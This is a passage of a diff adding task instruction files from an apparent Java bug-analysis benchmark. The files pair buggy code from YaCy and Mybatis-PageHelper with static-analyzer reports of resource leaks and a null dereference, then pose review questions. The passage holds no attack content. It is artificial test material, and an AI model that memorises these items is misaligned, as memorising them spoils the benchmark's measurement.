+                this.out = this.controlSocket.getOutputStream();
+                
+                
+                // initiate the command class
+                this.commandCounter = 0;
+                if ((this.commandObj != null) && 
+                    (this.commandObj.getClass().getName().equals(serverCore.this.handlerPrototype.getClass().getName()))) {
+                    this.commandObj.reset();
+                }
+                else {
+                    this.commandObj = (serverHandler) serverCore.this.handlerPrototype.clone();                    
+                }
+                this.commandObj.initSession(this);
+    
+    		    listen();
+            } catch (Exception e) {
+                if (e instanceof InterruptedException) throw (InterruptedException) e;
+                System.err.println("ERROR: (internal) " + e);        
+    	    } finally {
+        		try {
+                    this.out.flush();
+                    // close everything
+                    this.out.close();
+                    this.in.close();
+                    this.controlSocket.close();
+        		} catch (IOException e) {
+        		    System.err.println("ERROR: (internal) " + e);
+        		}
+    	    }
+            
+            //log.logDebug("* session " + handle + " completed. time = " + (System.currentTimeMillis() - handle));
+            announceMoreExecTime(System.currentTimeMillis() - this.start);
+    	}
+    	
+    	private void listen() {
+    	    try {
+        		// set up some reflection
+        		Class[] stringType    = {"".getClass()};
+        		Class[] exceptionType = {Class.forName("java.lang.Throwable")};
+        		
+                        // send greeting
+        		Object result = commandObj.greeting();
+        		if (result != null) {
+        		    if ((result instanceof String) && (((String) result).length() > 0)) writeLine((String) result);
+        		}
+    
+        		// start dialog
+        		byte[] requestBytes = null;
+        		boolean terminate = false;
+        		int pos;
+        		String cmd;
+        		String tmp;
+        		Object[] stringParameter = new String[1];
+        		while ((this.in != null) && ((requestBytes = readLine()) != null)) {
+        		    commandCounter++;
+        		    request = new String(requestBytes);
+                            //log.logDebug("* session " + handle + " received command '" + request + "'. time = " + (System.currentTimeMillis() - handle));
+        		    log(false, request);
+        		    try {
+            			pos = request.indexOf(' ');
+            			if (pos < 0) {
+            			    cmd = request.trim().toUpperCase();
+            			    stringParameter[0] = "";
+            			} else {
+            			    cmd = request.substring(0, pos).trim().toUpperCase();
+            			    stringParameter[0] = request.substring(pos).trim();
+            			}
+        
+            			// exec command and return value
+            			result = this.commandObj.getClass().getMethod(cmd, stringType).invoke(this.commandObj, stringParameter);
+                                    //log.logDebug("* session " + handle + " completed command '" + request + "'. time = " + (System.currentTimeMillis() - handle));
+                        this.out.flush();
+            			if (result == null) {
+            			    /*
+            			    log(2, true, "(NULL RETURNED/STREAM PASSED)");
+            			    */
+            			} else if (result instanceof Boolean) {
+            			    if (((Boolean) result) == TERMINATE_CONNECTION) break;
+            			} else if (result instanceof String) {
+            			    if (((String) result).startsWith("!")) {
+                				result = ((String) result).substring(1);
+                				terminate = true;
+            			    }
+            			    writeLine((String) result);
+            			} else if (result instanceof InputStream) {
+            			    tmp = send(out, (InputStream) result);
+            			    if ((tmp.length() > 4) && (tmp.toUpperCase().startsWith("PASS"))) {
+                                log(true, "PASS ********");
+            			    } else {
+                                log(true, tmp);
+            			    }
+            			    tmp = null;
+            			}
+                        if (terminate) break;
+        
+                    } catch (InvocationTargetException ite) {
+            			System.out.println("ERROR A " + userAddress.getHostAddress());
+            			// we extract a target exception and let the thread survive
+            			writeLine((String) commandObj.error(ite.getTargetException()));
+        		    } catch (NoSuchMethodException nsme) {
+            			System.out.println("ERROR B " + userAddress.getHostAddress());
+            			if (isNotLocal(userAddress.getHostAddress().toString())) {
+                                        if (denyHost != null)
+                                            denyHost.put((""+userAddress.getHostAddress()), "deny"); // block client: hacker attempt
+                        }
+            			break;
+            			// the client requested a command that does not exist
+            			//Object[] errorParameter = { nsme };
+            			//writeLine((String) error.invoke(this.cmdObject, errorParameter));
+        		    } catch (IllegalAccessException iae) {
+            			System.out.println("ERROR C " + userAddress.getHostAddress());
+            			// wrong parameters: this an only be an internal problem
+            			writeLine((String) commandObj.error(iae));
+        		    } catch (java.lang.ClassCastException e) {
+            			System.out.println("ERROR D " + userAddress.getHostAddress());
+            			// ??
+            			writeLine((String) commandObj.error(e));
+        		    } catch (Exception e) {
+            			System.out.println("ERROR E " + userAddress.getHostAddress());
+            			// whatever happens: the thread has to survive!
+            			writeLine("UNKNOWN REASON:" + (String) commandObj.error(e));
+                    }
+                } // end of while
+    	    } catch (java.lang.ClassNotFoundException e) {
+        		System.out.println("Internal Error: wrapper class not found: " + e.getMessage());
+        		System.exit(0);
+    	    } catch (java.io.IOException e) {
+                // connection interruption: more or less normal
+    	    }
+    	}
+	
+    }
+
+    public static byte[] receive(PushbackInputStream pbis, serverByteBuffer readLineBuffer, long timeout, int maxSize, boolean logerr) {
+
+        // this is essentially a readln on a PushbackInputStream
+        int bufferSize = 0;
+        bufferSize = 10;
+
+        // reuse an existing linebuffer or create a new one ...
+        if (readLineBuffer == null) {
+            readLineBuffer = new serverByteBuffer(256);
+        } else {
+            readLineBuffer.reset();
+        }
+        
+      
+      // TODO: we should remove this statements because calling the available function is very time consuming
+      // we better should use nio sockets instead because they are interruptable ...
+    	try {
+    	    long t = timeout;
+    	    while (((bufferSize = pbis.available()) == 0) && (t > 0)) try {
+        		Thread.currentThread().sleep(100);
+        		t -= 100;
+    	    } catch (InterruptedException e) {}
+    	    if (t <= 0) {
+                    if (logerr) serverLog.logError("SERVER", "receive interrupted - timeout");
+                    return null;
+                }
+    	    if (bufferSize == 0) {
+                    if (logerr) serverLog.logError("SERVER", "receive interrupted - buffer empty");
+                    return null;
+                }
+            } catch (IOException e) {
+                if (logerr) serverLog.logError("SERVER", "receive interrupted - exception 1 = " + e.getMessage());
+                return null;
+            }
+            
+    	// byte[] buffer = new byte[bufferSize];
+    	// byte[] bufferBkp;
+    	bufferSize = 0;
+    	int b = 0;
+    	
+    	try {
+    	    while ((b = pbis.read()) > 31) {
+//        		// we have a valid byte in b, add it to the buffer
+//        		if (buffer.length == bufferSize) {
+//        		    // the buffer is full, double its size
+//        		    bufferBkp = buffer;
+//        		    buffer = new byte[bufferSize * 2];
+//        		    java.lang.System.arraycopy(bufferBkp, 0, buffer, 0, bufferSize);
+//        		    bufferBkp = null;
+//        		}
+//                        //if (bufferSize > 10000) {System.out.println("***ERRORDEBUG***:" + new String(buffer));} // debug
+//        		buffer[bufferSize++] = (byte) b; // error hier: ArrayIndexOutOfBoundsException: -2007395416 oder 0
+                
+                readLineBuffer.write(b);
+                if (bufferSize++ > maxSize) break;                
+            }
+            
+    	    // we have catched a possible line end
+    	    if (b == cr) {
+        		// maybe a lf follows, read it:
+        		if ((b = pbis.read()) != lf) if (b >= 0) pbis.unread(b); // we push back the byte
+    	    }
+    	    
+    	    // finally shrink buffer
+//    	    bufferBkp = buffer;
+//    	    buffer = new byte[bufferSize];
+//    	    java.lang.System.arraycopy(bufferBkp, 0, buffer, 0, bufferSize);
+//    	    bufferBkp = null;
+    	    
+    	    // return only the byte[]
+    	    // return buffer;
+            return readLineBuffer.toByteArray();
+    	} catch (IOException e) {
+                if (logerr) serverLog.logError("SERVER", "receive interrupted - exception 2 = " + e.getMessage());
+    	    return null;
+    	}
+    }
+
+    public static void send(OutputStream os, String buf) throws IOException {
+    	os.write(buf.getBytes());
+    	os.write(crlf);
+    	os.flush();
+    }
+    
+    public static void send(OutputStream os, byte[] buf) throws IOException {
+    	os.write(buf);
+    	os.write(crlf);
+    	os.flush();
+    }
+        
+    public static String send(OutputStream os, InputStream is) throws IOException {
+    	int bufferSize = is.available();
+    	byte[] buffer = new byte[((bufferSize < 1) || (bufferSize > 4096)) ? 4096 : bufferSize];
+    	int l;
+    	while ((l = is.read(buffer)) > 0) {os.write(buffer, 0, l);}
+    	os.write(crlf);
+    	os.flush();
+    	if (bufferSize > 80) return "<LONG STREAM>"; else return new String(buffer);
+    }
+    
+    protected void finalize() throws Throwable {
+        if (!this.theSessionPool.isClosed) this.theSessionPool.close();
+        super.finalize();
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.net.Socket` acquired to `controlSocket` by call to `accept()` at line 299 is not released after line 313.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+boolean serverCore.job()
+
+### Procedure Id:
+de.anomic.server.serverCore.job():boolean.61e83e53f756f4fd4cc1e65d00d01319
+
+### File:
+source/de/anomic/server/serverCore.java
+
+### Key:
+serverCore.java|job|RESOURCE_LEAK
+
+### Node Key:
+42f56fda1ad408e362508b93a175bb0c
+
+### Hash:
+a85b16f88bfbdb72a07b9edb5a6a1630
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4137/instruction.md b/inferredbugs-4137/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..33b8c657f1e216563398789729d5b52d614332a9
--- /dev/null
+++ b/inferredbugs-4137/instruction.md
@@ -0,0 +1,241 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** yacy_search_server
+**Bug ID:** 17
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+// Settings.p.java 
+// -----------------------
+// part of the AnomicHTTPD caching proxy
+// (C) by Michael Peter Christen; mc@anomic.de
+// first published on http://www.anomic.de
+// Frankfurt, Germany, 2004
+// last change: 02.05.2004
+//
+// This program is free software; you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation; either version 2 of the License, or
+// (at your option) any later version.
+//
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with this program; if not, write to the Free Software
+// Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+//
+// Using this software in any meaning (reading, learning, copying, compiling,
+// running) means that you agree that the Author(s) is (are) not responsible
+// for cost, loss of data or any harm that may be caused directly or indirectly
+// by usage of this softare or this documentation. The usage of this software
+// is on your own risk. The installation and usage (starting/running) of this
+// software may allow other people or application to access your computer and
+// any attached devices and is highly dependent on the configuration of the
+// software which must be done by the user of the software; the author(s) is
+// (are) also not responsible for proper configuration and usage of the
+// software, even if provoked by documentation provided together with
+// the software.
+//
+// Any changes to this file according to the GPL as documented in the file
+// gpl.txt aside this file in the shipment you received can be done to the
+// lines that follows this copyright notice here, but changes must not be
+// done inside the copyright notive above. A re-distribution must contain
+// the intact and unchanged copyright notice.
+// Contributions and changes to the program code must be marked as such.
+
+// you must compile this file with
+// javac -classpath .:../Classes Settings_p.java
+// if the shell's current path is HTROOT
+
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.Hashtable;
+import java.util.Iterator;
+import java.util.List;
+
+import de.anomic.http.httpHeader;
+import de.anomic.plasma.plasmaSwitchboard;
+import de.anomic.server.serverObjects;
+import de.anomic.server.serverSwitch;
+
+public class Settings_p {
+
+    public static serverObjects respond(httpHeader header, serverObjects post, serverSwitch env) {
+	// return variable that accumulates replacements
+	serverObjects prop = new serverObjects();
+
+	//if (post == null) System.out.println("POST: NULL"); else System.out.println("POST: " + post.toString());
+
+	prop.put("port", env.getConfig("port", "8080"));
+	prop.put("peerName", env.getConfig("peerName", "nameless"));
+	// set values
+	String s;
+	int pos;
+
+	// admin password
+	if (env.getConfig("adminAccountBase64", "").length() == 0) {
+	    // no password has been specified
+	    prop.put("adminuser","admin");
+	} else {
+	    s = env.getConfig("adminAccount", "admin:void");
+	    pos = s.indexOf(":");
+	    if (pos < 0) {
+		prop.put("adminuser","admin");
+	    } else {
+		prop.put("adminuser",s.substring(0, pos));
+	    }
+	}
+
+        // remote proxy
+        prop.put("remoteProxyHost", env.getConfig("remoteProxyHost", ""));
+        prop.put("remoteProxyPort", env.getConfig("remoteProxyPort", ""));
+        prop.put("remoteProxyNoProxy", env.getConfig("remoteProxyNoProxy", ""));
+        prop.put("remoteProxyUseChecked", ((String) env.getConfig("remoteProxyUse", "false")).equals("true") ? 1 : 0);
+
+	// proxy access filter
+	prop.put("proxyfilter", env.getConfig("proxyClient", "*"));
+
+	// proxy password
+	if (env.getConfig("proxyAccountBase64", "").length() == 0) {
+	    // no password has been specified
+	    prop.put("proxyuser","proxy");
+	} else {
+	    s = env.getConfig("proxyAccount", "proxy:void");
+	    pos = s.indexOf(":");
+	    if (pos < 0) {
+		prop.put("proxyuser","proxy");
+	    } else {
+		prop.put("proxyuser",s.substring(0, pos));
+	    }
+	}
+
+	// server access filter
+	prop.put("serverfilter", env.getConfig("serverClient", "*"));
+
+	// server password
+	if (env.getConfig("serverAccountBase64", "").length() == 0) {
+	    // no password has been specified
+	    prop.put("serveruser","server");
+	} else {
+	    s = env.getConfig("serverAccount", "server:void");
+	    pos = s.indexOf(":");
+	    if (pos < 0) {
+		prop.put("serveruser","server");
+	    } else {
+		prop.put("serveruser",s.substring(0, pos));
+	    }
+	}
+
+	// clientIP
+	prop.put("clientIP", (String) header.get("CLIENTIP", "<unknown>")); // read an artificial header addendum
+	//seedFTPSettings
+	prop.put("seedFTPServer", env.getConfig("seedFTPServer", ""));
+	prop.put("seedFTPPath", env.getConfig("seedFTPPath", ""));
+	prop.put("seedFTPAccount", env.getConfig("seedFTPAccount", ""));
+	prop.put("seedFTPPassword", env.getConfig("seedFTPPassword", ""));
+    prop.put("seedURL", env.getConfig("seedURL", ""));
+        
+    
+    /*
+     * Parser Configuration
+     */
+    plasmaSwitchboard sb = (plasmaSwitchboard)env;
+    Hashtable enabledParsers = sb.parser.getEnabledParserList();
+    Hashtable availableParsers = sb.parser.getAvailableParserList();
+    
+    // fetching a list of all available mimetypes
+    List availableParserKeys = Arrays.asList(availableParsers.keySet().toArray(new String[availableParsers.size()]));
+    
+    // sort it
+    Collections.sort(availableParserKeys);
+
+    // loop through the mimeTypes and add it to the properties
+    int parserIdx = 0;
+    Iterator availableParserIter = availableParserKeys.iterator();
+    while (availableParserIter.hasNext()) {
+        String mimeType = (String) availableParserIter.next();
+        
+        prop.put("parser_" + parserIdx + "_mime", mimeType);
+        prop.put("parser_" + parserIdx + "_name", availableParsers.get(mimeType));
+        prop.put("parser_" + parserIdx + "_status", enabledParsers.containsKey(mimeType) ? 1:0);
+        
+        parserIdx++;
+    }
+    
+    prop.put("parser", parserIdx);
+    
+	// return rewrite properties
+	return prop;
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `env.getConfig("adminAccountBase64","")` could be null and is dereferenced at line 72.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+serverObjects Settings_p.respond(httpHeader,serverObjects,serverSwitch)
+
+### Procedure Id:
+Settings_p.respond(de.anomic.http.httpHeader,de.anomic.server.serverObjects,de.anomic.server.serverS.0794515fe96773bf9a597a27bdb37b76
+
+### File:
+htroot/Settings_p.java
+
+### Key:
+Settings_p.java|respond|NULL_DEREFERENCE
+
+### Node Key:
+18086a76ec6f499138a84f176568ec09
+
+### Hash:
+cf06ed71fe84bc844984622885717e8b
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4138/instruction.md b/inferredbugs-4138/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..e8b30c9d96b0a6ca5dbdc44ad9434b77fe079029
--- /dev/null
+++ b/inferredbugs-4138/instruction.md
@@ -0,0 +1,290 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** yacy_search_server
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+// kelondroAbstractRA.java 
+// -----------------------
+// part of The Kelondro Database
+// (C) by Michael Peter Christen; mc@anomic.de
+// first published on http://www.anomic.de
+// Frankfurt, Germany, 2004
+// last major change: 09.02.2004
+//
+// This program is free software; you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation; either version 2 of the License, or
+// (at your option) any later version.
+//
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with this program; if not, write to the Free Software
+// Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+//
+// Using this software in any meaning (reading, learning, copying, compiling,
+// running) means that you agree that the Author(s) is (are) not responsible
+// for cost, loss of data or any harm that may be caused directly or indirectly
+// by usage of this softare or this documentation. The usage of this software
+// is on your own risk. The installation and usage (starting/running) of this
+// software may allow other people or application to access your computer and
+// any attached devices and is highly dependent on the configuration of the
+// software which must be done by the user of the software; the author(s) is
+// (are) also not responsible for proper configuration and usage of the
+// software, even if provoked by documentation provided together with
+// the software.
+//
+// Any changes to this file according to the GPL as documented in the file
+// gpl.txt aside this file in the shipment you received can be done to the
+// lines that follows this copyright notice here, but changes must not be
+// done inside the copyright notive above. A re-distribution must contain
+// the intact and unchanged copyright notice.
+// Contributions and changes to the program code must be marked as such.
+
+package de.anomic.kelondro;
+
+import java.io.*;
+import java.util.*;
+
+import de.anomic.server.*;
+
+abstract class kelondroAbstractRA implements kelondroRA {
+
+    // logging support
+    protected String name = null;
+    public String name() {
+        return name;
+    }
+    
+    // pseudo-native methods:
+    abstract public int read() throws IOException;
+    abstract public void write(int b) throws IOException;
+
+    abstract public int read(byte[] b, int off, int len) throws IOException;
+    abstract public void write(byte[] b, int off, int len) throws IOException;
+
+    abstract public void seek(long pos) throws IOException;
+    abstract public void close() throws IOException;
+
+    // derivated methods:
+    public byte readByte() throws IOException {
+	int ch = this.read();
+	if (ch < 0) throw new IOException();
+	return (byte)(ch);
+    }
+
+    public void writeByte(int v) throws IOException {
+	this.write(v);
+    }
+
+    public short readShort() throws IOException {
+	int ch1 = this.read();
+	int ch2 = this.read();
+	if ((ch1 | ch2) < 0) throw new IOException();
+	return (short) ((ch1 << 8) + (ch2 << 0));
+    }
+
+    public void writeShort(int v) throws IOException {
+	this.write((v >>> 8) & 0xFF); this.write((v >>> 0) & 0xFF);
+    }
+
+    public int readInt() throws IOException {
+	int ch1 = this.read();
+	int ch2 = this.read();
+	int ch3 = this.read();
+	int ch4 = this.read();
+	if ((ch1 | ch2 | ch3 | ch4) < 0) throw new IOException("kelondroAbstractRA.readInt: wrong values; ch1=" + ch1 + ", ch2=" + ch2 + ", ch3=" + ch3 + ", ch4=" + ch4);
+	return ((ch1 << 24) + (ch2 << 16) + (ch3 << 8) + (ch4 << 0));
+    }
+
+    public void writeInt(int v) throws IOException {
+	this.write((v >>> 24) & 0xFF); this.write((v >>> 16) & 0xFF);
+	this.write((v >>>  8) & 0xFF); this.write((v >>>  0) & 0xFF);
+    }
+
+    public long readLong() throws IOException {
+	return ((long) (readInt()) << 32) + (readInt() & 0xFFFFFFFFL);
+    }
+
+    public void writeLong(long v) throws IOException {
+	this.write((int) (v >>> 56) & 0xFF); this.write((int) (v >>> 48) & 0xFF);
+	this.write((int) (v >>> 40) & 0xFF); this.write((int) (v >>> 32) & 0xFF);
+	this.write((int) (v >>> 24) & 0xFF); this.write((int) (v >>> 16) & 0xFF);
+	this.write((int) (v >>>  8) & 0xFF); this.write((int) (v >>>  0) & 0xFF);
+    }
+
+    public void write(byte[] b) throws IOException {
+	this.write(b, 0, b.length);
+    }
+
+    private static final byte cr = 13;
+    private static final byte lf = 10;
+    private static final String crlf = new String(new byte[] {cr, lf});
+
+    public void writeLine(String line) throws IOException {
+	this.write((line + crlf).getBytes());
+    }
+
+    public String readLine() throws IOException {
+	// with these functions, we consider a line as always terminated by CRLF
+	serverByteBuffer sb = new serverByteBuffer();
+	int c;
+	while (true) {
+	    c = read();
+	    if (c < 0) {
+		if (sb.length() == 0) return null; else return sb.toString();
+	    }
+	    if (c == cr) continue;
+	    if (c == lf) return sb.toString();
+	    sb.append((byte) c);
+	}
+    }
+
+    public void writeProperties(Properties props, String comment) throws IOException {
+	this.seek(0);
+	writeLine("# " + comment);
+	Enumeration e = props.propertyNames();
+	String key, value;
+	while (e.hasMoreElements()) {
+	    key = (String) e.nextElement();
+	    value = props.getProperty(key, "");
+	    writeLine(key + "=" + value);
+	}
+	writeLine("# EOF");
+    }
+
+    public Properties readProperties() throws IOException {
+	this.seek(0);
+	Properties props = new Properties();
+	String line;
+	int pos;
+	while ((line = readLine()) != null) {
+	    line = line.trim();
+	    if (line.equals("# EOF")) return props;
+	    if ((line.length() == 0) || (line.startsWith("#"))) continue;
+	    pos = line.indexOf("=");
+	    if (pos < 0) continue;
+	    props.setProperty(line.substring(0, pos).trim(), line.substring(pos + 1).trim());
+	}
+	return props;
+    }
+
+    public void writeMap(Map map, String comment) throws IOException {
+	this.seek(0);
+	writeLine("# " + comment);
+	Iterator i = map.keySet().iterator();
+	String key, value;
+	while (i.hasNext()) {
+	    key = (String) i.next();
+	    value = (String) map.get(key);
+	    writeLine(key + "=" + value);
+	}
+	writeLine("# EOF");
+    }
+
+    public Map readMap() throws IOException {
+	this.seek(0);
+	TreeMap map = new TreeMap();
+	String line;
+	int pos;
+	while ((line = readLine()) != null) { // very slow readLine????
+	    line = line.trim();
+	    if (line.equals("# EOF")) return map;
+	    if ((line.length() == 0) || (line.startsWith("#"))) continue;
+	    pos = line.indexOf("=");
+	    if (pos < 0) continue;
+	    map.put(line.substring(0, pos), line.substring(pos + 1));
+	}
+	return map;
+    }
+
+    public void writeArray(byte[] b) throws IOException {
+	// this does not write the content to the see position
+	// but to the very beginning of the record
+	// some additional bytes will ensure that we know the correct content size later on
+	seek(0);
+	writeInt(b.length);
+	write(b);
+    }
+
+    public byte[] readArray() throws IOException {
+	seek(0);
+	int l = readInt();
+	byte[] b = new byte[l];
+	read(b, 0, l);
+	return b;
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `de.anomic.server.serverByteBuffer` acquired to `return` by call to `new()` at line 128 is not released after line 133.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+String kelondroAbstractRA.readLine()
+
+### Procedure Id:
+de.anomic.kelondro.kelondroAbstractRA.readLine():java.lang.String.556d4b1ec883d1df5a6d59be35b15fe7
+
+### File:
+source/de/anomic/kelondro/kelondroAbstractRA.java
+
+### Key:
+kelondroAbstractRA.java|readLine|RESOURCE_LEAK
+
+### Node Key:
+bacfe6438989b4d2359f7c8efe6596fb
+
+### Hash:
+e0a947b4006a5db8aef3c6357c0b3055
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4153/instruction.md b/inferredbugs-4153/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..abc77c97bb85641926c7e33f2aa377fe53cf8be7
--- /dev/null
+++ b/inferredbugs-4153/instruction.md
@@ -0,0 +1,343 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** Mybatis-PageHelper
+**Bug ID:** 6
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * The MIT License (MIT)
+ *
+ * Copyright (c) 2014-2017 abel533@gmail.com
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+ * THE SOFTWARE.
+ */
+
+package com.github.pagehelper;
+
+import com.github.pagehelper.cache.Cache;
+import com.github.pagehelper.cache.CacheFactory;
+import com.github.pagehelper.util.MSUtils;
+import com.github.pagehelper.util.StringUtil;
+import org.apache.ibatis.cache.CacheKey;
+import org.apache.ibatis.executor.Executor;
+import org.apache.ibatis.mapping.BoundSql;
+import org.apache.ibatis.mapping.MappedStatement;
+import org.apache.ibatis.plugin.*;
+import org.apache.ibatis.session.Configuration;
+import org.apache.ibatis.session.ResultHandler;
+import org.apache.ibatis.session.RowBounds;
+
+import java.lang.reflect.Field;
+import java.sql.SQLException;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Map;
+import java.util.Properties;
+
+/**
+ * Mybatis - 通用分页拦截器<br/>
+ * 项目地址 : http://git.oschina.net/free/Mybatis_PageHelper
+ *
+ * @author liuzh/abel533/isea533
+ * @version 5.0.0
+ */
+@SuppressWarnings({"rawtypes", "unchecked"})
+@Intercepts(
+    {
+        @Signature(type = Executor.class, method = "query", args = {MappedStatement.class, Object.class, RowBounds.class, ResultHandler.class}),
+        @Signature(type = Executor.class, method = "query", args = {MappedStatement.class, Object.class, RowBounds.class, ResultHandler.class, CacheKey.class, BoundSql.class}),
+    }
+)
+public class PageInterceptor implements Interceptor {
+    //缓存count查询的ms
+    protected Cache<String, MappedStatement> msCountMap = null;
+    private volatile Dialect dialect;
+    private String default_dialect_class = "com.github.pagehelper.PageHelper";
+    private Field additionalParametersField;
+    private String countSuffix = "_COUNT";
+
+    @Override
+    public Object intercept(Invocation invocation) throws Throwable {
+        try {
+            Object[] args = invocation.getArgs();
+            MappedStatement ms = (MappedStatement) args[0];
+            Object parameter = args[1];
+            RowBounds rowBounds = (RowBounds) args[2];
+            ResultHandler resultHandler = (ResultHandler) args[3];
+            Executor executor = (Executor) invocation.getTarget();
+            CacheKey cacheKey;
+            BoundSql boundSql;
+            //由于逻辑关系，只会进入一次
+            if(args.length == 4){
+                //4 个参数时
+                boundSql = ms.getBoundSql(parameter);
+                cacheKey = executor.createCacheKey(ms, parameter, rowBounds, boundSql);
+            } else {
+                //6 个参数时
+                cacheKey = (CacheKey) args[4];
+                boundSql = (BoundSql) args[5];
+            }
+
+            // Spring bean 方式配置时，如果没有配置属性就不会执行下面的 setProperties 方法，就不会初始化
+            // 因此这里会出现 null 的情况 fixed #26
+            if(dialect == null){
+                synchronized (default_dialect_class){
+                    if(dialect == null){
+                        setProperties(new Properties());
+                    }
+                }
+            }
+            List resultList;
+            //调用方法判断是否需要进行分页，如果不需要，直接返回结果
+            if (!dialect.skip(ms, parameter, rowBounds)) {
+                //反射获取动态参数
+                String msId = ms.getId();
+                Configuration configuration = ms.getConfiguration();
+                Map<String, Object> additionalParameters = (Map<String, Object>) additionalParametersField.get(boundSql);
+                //判断是否需要进行 count 查询
+                if (dialect.beforeCount(ms, parameter, rowBounds)) {
+                    String countMsId = msId + countSuffix;
+                    Long count;
+                    //先判断是否存在手写的 count 查询
+                    MappedStatement countMs = getExistedMappedStatement(configuration, countMsId);
+                    if(countMs != null){
+                        count = executeManualCount(executor, countMs, parameter, boundSql, resultHandler);
+                    } else {
+                        countMs = msCountMap.get(countMsId);
+                        //自动创建
+                        if (countMs == null) {
+                            //根据当前的 ms 创建一个返回值为 Long 类型的 ms
+                            countMs = MSUtils.newCountMappedStatement(ms, countMsId);
+                            msCountMap.put(countMsId, countMs);
+                        }
+                        count = executeAutoCount(executor, countMs, parameter, boundSql, rowBounds, resultHandler);
+                    }
+                    //处理查询总数
+                    //返回 true 时继续分页查询，false 时直接返回
+                    if (!dialect.afterCount(count, parameter, rowBounds)) {
+                        //当查询总数为 0 时，直接返回空的结果
+                        return dialect.afterPage(new ArrayList(), parameter, rowBounds);
+                    }
+                }
